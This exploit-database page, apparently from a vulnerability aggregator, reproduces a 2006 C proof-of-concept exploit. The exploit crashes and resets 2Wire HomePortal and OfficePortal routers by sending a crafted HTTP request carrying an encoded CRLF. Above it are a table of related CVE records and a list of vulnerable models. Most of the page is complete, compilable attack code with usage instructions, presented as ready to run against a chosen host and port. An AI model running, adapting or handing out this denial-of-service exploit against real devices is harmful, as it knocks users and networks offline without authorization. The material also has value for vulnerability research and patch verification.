2WIRE Modems/Routers - 'CRLF' Denial of Service vulnerability affecting 2Wire OfficePortal 0, 2Wire HomePortal 1500W, and other models. The exploit code sends a malicious request causing modems to reset
Reporter | Title | Published | Views | Family All 7 |
---|---|---|---|---|
CVE | CVE-2009-3962 | 17 Nov 200918:30 | – | cve |
CVE | CVE-2006-4523 | 1 Sep 200623:04 | – | cve |
Prion | Design/Logic Flaw | 17 Nov 200918:30 | – | prion |
Cvelist | CVE-2009-3962 | 17 Nov 200918:00 | – | cvelist |
Cvelist | CVE-2006-4523 | 1 Sep 200623:00 | – | cvelist |
NVD | CVE-2009-3962 | 17 Nov 200918:30 | – | nvd |
NVD | CVE-2006-4523 | 1 Sep 200623:04 | – | nvd |
//Vulnerable:
//2Wire OfficePortal 0
//2Wire HomePortal 1500W
//2Wire HomePortal 100W
//2Wire HomePortal 100S
//2Wire HomePortal 1000W
//2Wire HomePortal 1000SW
//2Wire HomePortal 1000S
//2Wire HomePortal 1000
//2Wire HomePortal 0
////////////////////////////////// [ STARTING CODE ]
////////////////////////////////////////////////////
////
//// [ Explanation ] this PoC make an evil_request
//// and send to the server , when the server process
//// it the request fall him, AND THE MODEM WILL RESET!.
////
//// [ Note ] This Poc was coded using Dev-C++ 4.9.9.2
//// If you have any error with the librarys you need
//// include libws2_32.a at the project.
////
//// Enjoy it n_nU!..
//// Coded by preth00nker (using Mexican skill!)
#pragma comment(lib,"libws2_32.a")
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "winsock2.h"
unsigned long dir;
char h[]="";
short port;
char badreq[]="";
int state;
int main(int argc, char *argv[])
{
printf("\n################################################\n");
printf("####\n");
printf("#### PoC of DoS 2wire_Gateway\n");
printf("#### By Preth00nker\n");
printf("#### http://www.mexhackteam.org\n");
printf("####\n");
printf("####\n\n");
if (argc<4){
printf("[Usage] %s $Host $Port $Variable\n",argv[0]);
printf("\n[I.E.] %s 192.168.1.254 80 PAGE\n",argv[0]);
return 0;
}
//Crear socket
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
SOCKET wsck;
//Estructuras
struct sockaddr_in Wins;
struct hostent *target;
//Wins
Wins.sin_family=AF_INET;
Wins.sin_port=htons((short)atoi(argv[2]));
target=gethostbyname(argv[1]);
Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr));
//llamamos al socket
wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL);
//Verifica por error
if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;}
printf("Socket creado correctamente!.. hWndl: %d",wsck);
//Conecta
if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){
WSACleanup();
return 0;
printf("\nError al conectar =!..");
}
printf("\nConectado!..");
//Make a bad query and send it ..Mwajuajua!..
strcat(badreq,"GET /xslt?");
strcat(badreq,argv[3]);
strcat(badreq,"=%0D%0A HTTP/1.0\r\n");
strcat(badreq,"Accept-Language: es-mx\r\n");
strcat(badreq,"User-Agent: MexHackTeam\r\n");
strcat(badreq,"Host: ");
strcat(badreq,argv[1]);
strcat(badreq, "\r\n\r\n\r\n");
send(wsck , badreq ,(int)strlen(badreq), 0);
printf("\nDatos Mandados!..");
//finalized
Sleep(100);
printf("\nThat's all, Check this out!...\n");
WSACleanup();
return 0;
}
//////////////////////////////////////////// [ EOF ]
////////////////////////////////////////////////////
// milw0rm.com [2006-08-22]
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo